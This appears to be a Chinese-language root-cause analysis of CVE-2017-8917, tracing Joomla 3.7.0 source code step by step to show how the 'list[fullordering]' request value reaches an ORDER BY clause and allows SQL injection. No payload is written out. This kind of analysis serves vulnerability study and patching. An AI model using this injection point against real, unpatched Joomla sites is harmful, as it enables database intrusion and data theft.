    4
    5
    6
    // Get/Create the model
    if ($model = $this->getModel($viewName))
    {
    // Push the model into the view (as default)
    $view->setModel($model, true);
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    	// Display the view
    if ($cachable && $viewType != 'feed' && JFactory::getConfig()->get('caching') >= 1)
    {
    $option = $this->input->get('option');

    if (is_array($urlparams))
    {
    $app = JFactory::getApplication();

    if (!empty($app->registeredurlparams))
    {
    $registeredurlparams = $app->registeredurlparams;
    }
    else
    {
    $registeredurlparams = new stdClass;
    }

    foreach ($urlparams as $key => $value)
    {
    // Add your safe URL parameters with variable type as value {@see JFilterInput::clean()}.
    $registeredurlparams->$key = $value;
    }

    $app->registeredurlparams = $registeredurlparams;
    }

    try
    {
    /** @var JCacheControllerView $cache */
    $cache = JFactory::getCache($option, 'view');
    $cache->get($view, 'display');
    }
    catch (JCacheException $exception)
    {
    $view->display();
    }
    }
    else
    {
    $view->display();
    调用视图的display函数
    }

    return $this;
    }

    跳转到视图的display函数中CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    	public function display($tpl = null)
    {
    $this->state = $this->get('State');
    此处调用了get函数
    $this->items = $this->get('Items');
    $this->pagination = $this->get('Pagination');
    $this->filterForm = $this->get('FilterForm');
    $this->activeFilters = $this->get('ActiveFilters');

    // Check for errors.
    if (count($errors = $this->get('Errors')))
    {
    JError::raiseError(500, implode("\n", $errors));

    return false;
    }
    ......
    }

    跟进上一段中的get函数CVE-2017-8917_Joomla_3.7.0\libraries\legacy\view\legacy.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    public function get($property, $default = null)
    {
    // If $model is null we use the default model
    if (is_null($default))
    {
    $model = $this->_defaultModel;
    }
    else
    {
    $model = strtolower($default);
    }

    // First check to make sure the model requested exists
    if (isset($this->_models[$model]))
    {
    // Model exists, let's build the method name
    $method = 'get' . ucfirst($property);
    $property是我们传进的实参也就是'State',那么拼接起来后的方法名就是getState,然后调用这个方法

    // Does the method exist?
    if (method_exists($this->_models[$model], $method))
    {
    // The method exists, let's call it and return what we get
    $result = $this->_models[$model]->$method();

    return $result;
    }
    }

    // Degrade to JObject::get
    $result = parent::get($property, $default);

    return $result;
    }

    接下来跟踪getState,CVE-2017-8917_Joomla_3.7.0\libraries\legacy\model\legacy.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    public function getState($property = null, $default = null)
    {
    if (!$this->__state_set)
    {
    // Protected method to auto-populate the model state.
    $this->populateState();
    调用populateState函数
    // Set the model state set flag to true.
    $this->__state_set = true;
    }

    return $property === null ? $this->state : $this->state->get($property, $default);
    }

    追踪populateState函数CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\models\fields.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    protected function populateState($ordering = null, $direction = null)
    {
    // List state information.
    parent::populateState('a.ordering', 'asc');
    调用了父类populateState方法

    $context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
    $this->setState('filter.context', $context);

    // Split context into component and optional section
    $parts = FieldsHelper::extract($context);

    if ($parts)
    {
    $this->setState('filter.component', $parts[0]);
    $this->setState('filter.section', $parts[1]);
    }
    }

    跟踪到父类CVE-2017-8917_Joomla_3.7.0\libraries\legacy\model\list.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    // Receive & set list options
    if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
    {
    foreach ($list as $name => $value)
    {
    // Exclude if blacklisted
    if (!in_array($name, $this->listBlacklist))
    {
    // Extra validations
    switch ($name)
    {
    case 'fullordering':
    $orderingParts = explode(' ', $value);

    if (count($orderingParts) >= 2)
    {
    // Latest part will be considered the direction
    $fullDirection = end($orderingParts);

    if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
    {
    $this->setState('list.direction', $fullDirection);
    }

    取了个list的值进来赋值给了$list
    $list遍历出来,接着switch 键值

    switch完成后

    1
    $this->setState('list.' . $name, $value);

    通过这个可以设置list.fullordering
    设置后,下一步就要考虑如何取出来

    在视图文件中的display方法中,利用get(‘State’)来调用了getState方法。紧跟着这个操作的下一行,就有一个get(‘Item’)

    1
    2
    3
    4
    public function display($tpl = null)
    {
    $this->state = $this->get('State');
    $this->items = $this->get('Items');

    跟踪getItems函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    public function getItems()
    {
    // Get a storage key.
    $store = $this->getStoreId();

    // Try to load the data from internal storage.
    if (isset($this->cache[$store]))
    {
    return $this->cache[$store];
    }

    try
    {
    // Load the list items and add the items to the internal cache.
    $this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));调用了一个_getListQuery方法
    }
    catch (RuntimeException $e)
    {
    $this->setError($e->getMessage());

    return false;
    }

    return $this->cache[$store];
    }

    跟踪_getListQuery函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    protected function _getListQuery()
    {
    // Capture the last store id used.
    static $lastStoreId;

    // Compute the current store id.
    $currentStoreId = $this->getStoreId();

    // If the last store id is different from the current, refresh the query.
    if ($lastStoreId != $currentStoreId || empty($this->query))
    {
    $lastStoreId = $currentStoreId;
    $this->query = $this->getListQuery();
    }

    return $this->query;
    }

    然后这里又调用了一个getListQuery方法,这里调用的getListQuery不是此类的getListQuery,而是子类,也就是filedsModel类里的getListQuery了,在该方法的最后
    CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\models\fields.php

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    // Add the list ordering clause
    $listOrdering = $this->getState('list.fullordering', 'a.ordering');
    $orderDirn = '';

    if (empty($listOrdering))
    {
    $listOrdering = $this->state->get('list.ordering', 'a.ordering');
    $orderDirn = $this->state->get('list.direction', 'DESC');
    }

    $query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));

    return $query;

    这里就调用getState将前面设置的list.fullordering的值给取了出来,然后带入到了order函数中去了,就造成了一个order by的注入

    
    ![](15190501748892.png)